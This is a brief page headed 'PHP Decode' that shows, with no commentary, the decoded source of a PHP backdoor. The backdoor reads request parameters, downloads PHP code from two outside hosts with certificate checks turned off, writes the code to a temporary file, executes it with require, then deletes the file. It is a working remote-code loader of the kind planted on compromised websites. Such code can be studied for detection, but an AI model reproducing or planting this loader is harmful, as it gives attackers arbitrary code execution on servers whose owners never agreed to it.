PHP Decode

<?php 
function GC($a) 
{ 
    $url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $a, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); $code = @file_get_contents($url); if ($code == false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'll'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 100); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $code = curl_exec($ch); curl_close($ch); }return $code;} 
if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) { $code = GC('https://c.icw5.com/'); if(!$code){$code = GC('https://c2.icw7.com/');}$need = '<'.'?'.'php'; if (strpos($code, $need) === false) { die('get failed'); } $file_name = tmpfile(); fwrite($file_name, $code); $a = stream_get_meta_data($file_name);$file_path = $a['uri']; if(!file_get_contents($file_path)){$file_path = '.c'; file_put_contents($file_path, $code);}@require($file_path); fclose($file_name);@unlink($file_path);die(); } ?>